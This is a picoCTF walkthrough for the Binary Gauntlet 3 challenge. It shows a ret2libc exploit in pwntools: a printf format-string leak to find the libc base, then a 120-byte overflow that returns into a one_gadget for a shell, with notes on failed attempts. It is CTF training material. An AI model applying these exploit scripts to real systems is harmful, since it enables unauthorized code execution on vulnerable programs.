Description
The final stage of the Binary Gauntlet. Unlike Gauntlet 0/1/2, the stack here is non-executable, so the 'leak a stack address and jump to your shellcode' trick from the earlier levels does not work. This level is a ret2libc: leak libc through the format-string bug, then return into a one-gadget.
Setup
Download the binary and the provided libc. Check mitigations with checksec (NX is enabled here).
Read the binary in a disassembler to see how it reads and prints your input.
wget https://mercury.picoctf.net/static/<hash>/vulnchmod +x vulnchecksec vulnSolution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1Map the two bugs: format string + overflow
Observationchecksec reports NX enabled, and the source has both a printf(user_input) call and an unbounded buffer copy. Those are two distinct bugs to chain: the format string leaks libc, the overflow hijacks the return address.main declares char local_78[104] and copies your input in without a length limit, so you overflow the saved return address. The offset from the buffer to the saved return address is 120 bytes. Before that, the program prints your input directly with printf(user_input), which is a format-string vulnerability you can use to leak a libc-relative pointer off the stack.bashchecksec vuln # NX enabled -> no stack shellcode (unlike gauntlet 0/1/2)bash# Find the offset to saved RIP (cyclic pattern): it is 120 bytes here.pythonpython3 -c "from pwn import *; print(cyclic_find(0x6161616b))"Expected output
120
What didn't work first
Tried: Running the cyclic pattern against the binary locally and getting a different offset than 120
Without the challenge-provided libc loaded, your local glibc gives __libc_start_main a different stack frame size, which shifts the saved RIP offset. Patch the binary to the provided libc with patchelf or pwninit before measuring, so the number matches the remote instance.
Tried: Trying ret2shellcode after seeing a format-string and overflow in the same binary
Gauntlet 0, 1, and 2 allowed stack shellcode because NX was off. Here checksec shows NX enabled, so the stack pages are non-executable and jumping to shellcode you wrote there gives a SIGSEGV rather than execution. The path is ret2libc: leak the base address, then jump into existing libc code.
Learn more
Why this level changes tactics. Gauntlet 0/1/2 let you place shellcode on the stack and jump to it. Here NX (non-executable stack) is on, so the stack bytes you control cannot be executed. The reusable primitive that remains is ret2libc: redirect the return into existing executable code in libc. To do that you first need libc's runtime base, which the format-string leak provides.
Step 2Leak libc with the format string
Observationprintf(user_input) runs with no format argument, before the overflow is triggered. A positional %p specifier prints a libc-relative return address off the stack, and subtracting its known offset gives the libc base.Send a format specifier that prints a stack slot holding a libc address. In the 2021 mercury instance, %23$p returns a pointer that sits a fixed distance above libc base, so libc_base = leak - 231 - 0x21b10 (the 0x21b10 is __libc_start_main's offset in libc6 2.27-3ubuntu1.4). Recompute these constants if your libc differs.pythonpython3 - <<'PY' from pwn import remote io = remote("mercury.picoctf.net", <PORT_FROM_INSTANCE>) io.sendline(b"%23$p") leak = int(io.recvline().strip(), 16) libc_base = leak - 231 - 0x21b10 # instance-specific; verify against the given libc print(hex(libc_base)) PYWhat didn't work first
Tried: Sending %23$s instead of %23$p to read the pointer as a string
%s dereferences the value in that stack slot and prints bytes until a null terminator, which either crashes on an unmapped address or returns garbage. %p prints the raw pointer in hex, which is what lets you subtract the known __libc_start_main offset and compute libc_base.
Tried: Trying %1$p through %10$p and assuming one of those early slots holds the libc address
The libc-internal return address near __libc_start_main sits deep in the call frame, around slot 23 on this binary, while low-numbered slots hold saved registers and local buffer addresses. Without inspecting the layout under GDB with info frame and x/40gx $rsp, the wrong slot gives a value that does not resolve to a valid libc_base.
Learn more
Why a positional %p leaks libc. When a program runs
printfon attacker text with no format argument, each%pprints whatever is at the corresponding argument slot, which on the stack means saved registers and return addresses. One of those slots holds a libc-internal return address (here near__libc_start_main), and subtracting that symbol's known offset yields the libc base. ASLR randomizes the base, but not the internal offsets, so one leak defeats it.Step 3Return into a one-gadget
ObservationA direct ret2system would mean controlling rdi and minding stack alignment, and the challenge ships a specific libc. Running one_gadget against that exact libc finds a self-contained execve gadget and skips both setup steps.With libc_base known, overflow the return address (120 bytes of padding) with the address of a one_gadget. In the challenge libc (2.27-3ubuntu1.4) the gadget at offset 0x4f432 executes execve('/bin/sh', 0, 0). Run one_gadget on the provided libc to get the right offset and its register/stack constraints for your build.pythonpython3 - <<'PY' from pwn import remote, p64 # carry libc_base from the previous step ONE_GADGET = 0x4f432 # from: one_gadget ./libc.so.6 payload = b"A" * 120 + p64(libc_base + ONE_GADGET) io.sendline(payload) io.interactive() # -> shell, then: cat flag.txt PYIf the gadget's constraints are not met (it segfaults), try the other one_gadget offsets the tool prints, or fall back to a full
pop rdi; ret -> "/bin/sh" -> systemchain with aretadded first for 16-byte stack alignment.What didn't work first
Tried: Jumping directly to system with rdi pointing at '/bin/sh' and hitting a SIGSEGV or SIGBUS
The x86-64 ABI wants the stack 16-byte aligned at the call instruction. A raw ret into system without an extra ret gadget first usually leaves it 8 bytes off, and the crash lands inside system's SSE movaps. Adding a bare ret gadget, found with ROPgadget or ropper, before the system address fixes the alignment.
Tried: Using the one_gadget offset from a different libc version (e.g. Ubuntu 18.04 vs. 20.04)
one_gadget offsets belong to a specific libc build and shift between versions and patch levels. Run it against your system libc instead of the challenge's libc.so.6 and the offset points somewhere else entirely, so the payload jumps into arbitrary code rather than the execve gadget. Always run it against the exact libc that shipped with the challenge.
Learn more
Why one_gadget over system. A clean
system("/bin/sh")call needsrdipointing at the string and a 16-byte-aligned stack at the call, which often means extra gadgets. A one_gadget is a single libc address that already sets up and callsexecve("/bin/sh", NULL, NULL)when its constraints hold, so the exploit reduces to one address after the padding.See Buffer Overflow Binary Exploitation and Pwntools for CTF for the full ret2libc workflow.
Interactive tools
- Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
- pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.
Flag
Reveal flag
picoCTF{f629b202...}
NX is enabled, so the gauntlet's stack-shellcode trick is out. Use the uncontrolled printf to leak libc (e.g. %23$p minus the known offset), then overflow the return address (offset 120) with a one_gadget at libc+0x4f432 for a shell. The leak slot, fudge constant, and gadget offset are libc-version specific.